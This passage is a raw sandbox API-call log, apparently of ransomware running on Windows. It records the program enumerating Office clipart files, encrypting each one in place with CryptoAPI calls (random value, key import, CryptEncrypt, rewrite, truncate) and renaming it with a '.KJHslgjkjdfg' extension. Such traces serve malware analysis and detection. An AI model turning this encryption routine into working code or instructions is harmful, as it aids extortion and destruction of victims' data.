lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0161.966] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099191.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099191.jpg.kjhslgjkjdfg")) returned 1 [0161.967] CloseHandle (hObject=0x114) returned 1 [0161.967] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x462c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099192.GIF", cAlternateFileName="")) returned 1 [0161.967] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099192.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0161.968] GetProcessHeap () returned 0x2a0000 [0161.968] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0161.968] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0161.968] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0161.968] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0161.971] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.971] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.971] GetProcessHeap () returned 0x2a0000 [0161.971] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0161.971] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0161.971] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.971] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0161.971] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0161.971] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0161.972] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0161.972] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0161.972] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0161.972] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.972] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.972] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.972] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x462c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x462c, lpOverlapped=0x0) returned 1 [0161.973] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4630, dwBufLen=0x4630 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4630) returned 1 [0161.974] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.974] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4630, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4630, lpOverlapped=0x0) returned 1 [0161.974] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.974] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4704, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.974] SetEndOfFile (hFile=0x114) returned 1 [0161.977] GetProcessHeap () returned 0x2a0000 [0161.977] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0161.977] GetProcessHeap () returned 0x2a0000 [0161.977] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0161.977] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099192.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099192.gif.kjhslgjkjdfg")) returned 1 [0161.978] CloseHandle (hObject=0x114) returned 1 [0161.978] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x8ada, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099193.GIF", cAlternateFileName="")) returned 1 [0161.978] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099193.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0161.979] GetProcessHeap () returned 0x2a0000 [0161.979] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0161.979] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0161.979] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0161.979] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0161.982] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.982] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.982] GetProcessHeap () returned 0x2a0000 [0161.982] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0161.982] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0161.982] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.982] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0161.982] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0161.982] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0161.982] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0161.983] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0161.983] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0161.983] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.983] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.983] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.983] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x8ada, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x8ada, lpOverlapped=0x0) returned 1 [0161.984] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x8ae0, dwBufLen=0x8ae0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x8ae0) returned 1 [0161.985] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.985] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x8ae0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x8ae0, lpOverlapped=0x0) returned 1 [0161.985] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.985] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x8bb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.985] SetEndOfFile (hFile=0x114) returned 1 [0161.988] GetProcessHeap () returned 0x2a0000 [0161.988] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0161.988] GetProcessHeap () returned 0x2a0000 [0161.988] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0161.989] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099193.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099193.gif.kjhslgjkjdfg")) returned 1 [0161.990] CloseHandle (hObject=0x114) returned 1 [0161.990] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x62b1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099194.GIF", cAlternateFileName="")) returned 1 [0161.990] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099194.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0161.991] GetProcessHeap () returned 0x2a0000 [0161.991] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0161.991] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0161.991] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0161.991] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xf, lpOverlapped=0x0) returned 1 [0161.994] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.994] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.994] GetProcessHeap () returned 0x2a0000 [0161.994] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0161.994] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0161.994] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.994] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0161.994] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0161.994] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0161.994] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0161.994] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0161.994] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0161.994] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.995] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.995] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.995] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x62b1, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x62b1, lpOverlapped=0x0) returned 1 [0161.996] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x62c0, dwBufLen=0x62c0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x62c0) returned 1 [0161.996] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.996] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x62c0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x62c0, lpOverlapped=0x0) returned 1 [0161.997] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.997] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x6394, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.997] SetEndOfFile (hFile=0x114) returned 1 [0162.000] GetProcessHeap () returned 0x2a0000 [0162.000] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0162.000] GetProcessHeap () returned 0x2a0000 [0162.000] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0162.000] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099194.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099194.gif.kjhslgjkjdfg")) returned 1 [0162.001] CloseHandle (hObject=0x114) returned 1 [0162.001] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x4dd3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099195.GIF", cAlternateFileName="")) returned 1 [0162.001] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099195.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0162.002] GetProcessHeap () returned 0x2a0000 [0162.002] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0162.002] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0162.002] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0162.003] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xd, lpOverlapped=0x0) returned 1 [0162.008] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0162.008] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0162.008] GetProcessHeap () returned 0x2a0000 [0162.008] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0162.008] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0162.008] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0162.008] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0162.009] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0162.010] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0162.010] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0162.010] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0162.010] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0162.010] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0162.010] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0162.010] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.010] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x4dd3, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x4dd3, lpOverlapped=0x0) returned 1 [0162.011] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4de0, dwBufLen=0x4de0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4de0) returned 1 [0162.012] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.012] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4de0, lpOverlapped=0x0) returned 1 [0162.012] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0162.012] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4eb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.012] SetEndOfFile (hFile=0x114) returned 1 [0162.015] GetProcessHeap () returned 0x2a0000 [0162.015] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0162.015] GetProcessHeap () returned 0x2a0000 [0162.015] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0162.015] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099195.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099195.gif.kjhslgjkjdfg")) returned 1 [0162.016] CloseHandle (hObject=0x114) returned 1 [0162.016] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x3801, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099196.GIF", cAlternateFileName="")) returned 1 [0162.016] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099196.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0162.018] GetProcessHeap () returned 0x2a0000 [0162.018] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, 